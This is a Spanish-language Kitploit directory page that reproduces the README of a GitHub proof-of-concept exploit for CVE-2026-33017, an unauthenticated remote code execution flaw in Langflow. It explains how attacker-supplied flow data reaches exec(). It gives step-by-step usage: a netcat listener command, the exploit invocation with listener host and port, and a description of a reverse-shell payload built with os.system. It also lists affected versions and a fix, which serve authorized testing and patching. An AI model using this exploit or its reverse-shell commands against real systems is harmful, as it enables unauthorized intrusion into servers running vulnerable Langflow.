Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33017 — Exploit de prueba de concepto en Python para CVE-2026-33017, una vulnerabilidad de ejecución remota de código no autenticada en Langflow. Entrega una reverse shell mediante la inyección de nodos de flujo maliciosos. | Kitploit
Herramientas/GitHubGitHub/c0gnit00/cve-2026-33017
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso Remoto
GitHubc0gnit00/cve-2026-33017

CVE-2026-33017

Exploit de prueba de concepto en Python para CVE-2026-33017, una vulnerabilidad de ejecución remota de código no autenticada en Langflow. Entrega una reverse shell mediante la inyección de nodos de flujo maliciosos.

Ver Repositorio
214hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33017 - RCE no autenticado en Langflow

⚠️ AVISO: Este repositorio es solo para pruebas de seguridad autorizadas y fines educativos. Úselo solo en sistemas de su propiedad o para los que tenga permiso explícito. El autor no se hace responsable del mal uso o daños causados por esta herramienta.

Descripción general

CVE-2026-33017 es una vulnerabilidad de ejecución remota de código no autenticada en Langflow, un marco visual para construir aplicaciones de LangChain.

El endpoint POST /api/v1/build_public_tmp/{flow_id}/flow permite construir flujos públicos sin autenticación. Cuando se suministra el parámetro opcional data, el endpoint utiliza datos de flujo controlados por el atacante (que contienen código Python arbitrario en las definiciones de nodos) en lugar de los datos de flujo almacenados en la base de datos. Este código se pasa a exec() sin ningún tipo de sandboxing, lo que produce una ejecución remota de código no autenticada.

Versiones afectadas

  • Langflow <= 1.7.3
  • Corregido en Langflow >= 1.8.2

Requisitos para la explotación

  1. La instancia de Langflow objetivo tiene al menos un flujo público (común en demos, chatbots, flujos de trabajo compartidos)
  2. El atacante conoce el UUID del flujo público (descubrible a través de enlaces/URL compartidos)
  3. No se requiere autenticación — solo una cookie client_id (cualquier valor de cadena arbitrario)

Instalación

git clone https://github.com/<tu-usuario>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

Uso

1. Configure un listener

En su máquina atacante, inicie un netcat listener para capturar la reverse shell:

nc -lvnp 4444

2. Ejecute el exploit

python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <TU_IP> --lport 4444

Argumentos

ArgumentoObligatorioDescripción
--urlSíURL objetivo (ej. http://localhost:7860)
--flow-idSíUUID del flujo público
--lhostSíDirección IP de su listener
--lportSíPuerto de su listener
--timeoutNoTiempo de espera de la solicitud en segundos (por defecto: 15)

Ejemplo

# Terminal 1: Iniciar listener
nc -lvnp 4444

# Terminal 2: Disparar el exploit
python3 CVE-2026-33017.py \
    --url http://192.168.1.100:7860 \
    --flow-id 550e8400-e29b-41d4-a716-446655440000 \
    --lhost 10.0.0.5 \
    --lport 4444

Cómo funciona

  1. craft_malicious_node() — Construye un nodo malicioso de Langflow que contiene un CustomComponent con código Python controlado por el atacante. El código incluye una llamada a os.system() de nivel superior que se ejecuta durante la construcción del grafo (antes de que el flujo siquiera se "ejecute").

  2. fire_payload() — Envía el nodo malicioso como JSON al endpoint no autenticado build_public_tmp con una cookie client_id aleatoria.

  3. Ejecución de código — El servidor analiza los datos de flujo proporcionados por el atacante, instancia el componente personalizado y llama a exec() sobre el código incrustado durante prepare_global_scope(). La asignación de nivel superior _r = __import__('os').system(...) desencadena la ejecución del comando de inmediato.

  4. Reverse shell — El payload genera una reverse shell en Python que se conecta de vuelta a su listener.

Detalles de la vulnerabilidad

Causa raíz

El endpoint build_public_tmp está diseñado para no requerir autenticación (para flujos públicos), pero acepta incorrectamente datos de flujo proporcionados por el atacante a través del parámetro data. Cuando se proporciona data, omite los datos de flujo almacenados y pasa nodos controlados por el atacante directamente al constructor del grafo.

Corrección recomendada

Elimine el parámetro data de build_public_tmp. Los flujos públicos solo deben ejecutar sus datos de flujo almacenados en la base de datos, nunca datos proporcionados por el atacante.

Referencias

  • NVD - CVE-2026-33017
  • Langflow Versión 1.8.2

Licencia

Este proyecto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

Descargar herramienta